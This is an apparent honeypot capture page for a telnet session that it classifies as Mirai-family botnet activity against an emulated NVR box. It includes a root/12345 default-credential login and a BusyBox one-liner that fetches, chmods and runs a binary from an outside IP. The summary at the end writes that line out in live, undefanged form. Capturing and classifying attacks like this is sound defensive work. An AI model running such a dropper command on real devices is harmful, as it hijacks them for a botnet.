HoneyMire Hub

Attack #858779 telnet

Captured 2026-09-30 01:33:33Z by Ka on honeypot LU1 C3 🟡 C3 SuperMini · firmware 1.1.0.

Session recording

Transcript

Server output and attacker input as captured, line-grain. Malware URLs are obscured until sign-in.

Welcome to HiLinux (NVR Box)

hilinux-nvrbox login: root

Password: 12345

BusyBox v1.20.2 (2015-04-01 10:23:44 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

hilinux-nvrbox# start
sh: start: not found
hilinux-nvrbox# enable
sh: enable: not found
hilinux-nvrbox# config terminal
sh: config: not found
hilinux-nvrbox# system
sh: system: not found
hilinux-nvrbox# linuxshell
sh: linuxshell: not found
hilinux-nvrbox# su
sh: su: not found
hilinux-nvrbox# shell
sh: shell: not found
hilinux-nvrbox# sh
hilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x57\x59\x48\x4c\x4d\x48'
sh: can't create /usr/.x: nonexistent directory
WYHLMH
hilinux-nvrbox# /bin/busybox wget;/bin/busybox echo -ne '\x57\x59\x48\x4c\x4d\x48'
BusyBox v1.20.2 (2015-04-01 10:23:44 CST) multi-call binary.

Usage: wget [-cq] [-O FILE] [--header 'HEADER: VALUE'] URL
WYHLMHhilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget hxxp://113[.]237[.]61[.]172:43891/i ||curl -O hxxp://113[.]237[.]61[.]172:43891/i ||/bin/busybox wget hxxp://113[.]237[.]61[.]172:43891/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x43\x4f\x45\x57\x4e\x4f\x5a\x53'
sh: can't create /usr/.x: nonexistent directory
Connecting to 113.237.61.172:43891 (113.237.61.172:43891)
saving to 'i'
i                   100% |*******************************| 1234k  0:00:01 ETA
'i' saved
sh: ./i: not found
COEWNOZS
hilinux-nvrbox# 

Credentials

Username: root

Password: 12345

1 login attempt(s) before disconnect.

Geolocation hub-resolved

🇵🇰Pakistan · Punjab · Lahore

Cyber Internet Services Pakistan · AS9541 Cyber Internet Services (Pvt) Ltd. · 31.56,74.36

Network: isp · Cyber Internet Services · NSP · peeringdb · medium confidence

Behavioral classification

🦠 95% confidence

Mirai-family IoT botnet — wget + chmod + exec; tries common router/IP-cam credentials.

Matched signals:

• wget/curl download
• chmod/exec chain
• BusyBox probing
• default router/NVR credentials

Command summary

start
enable
config terminal
system
linuxshell
su
shell
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x57\x59\x48\x4c\x4d\x48'
/bin/busybox wget;/bin/busybox echo -ne '\x57\x59\x48\x4c\x4d\x48'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://113.237.61.172:43891/i ||curl -O http://113.237.61.172:43891/i ||/bin/busybox wget http://113.237.61.172:43891/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x43\x4f\x45\x57\x4e\x4f\x5a\x53'

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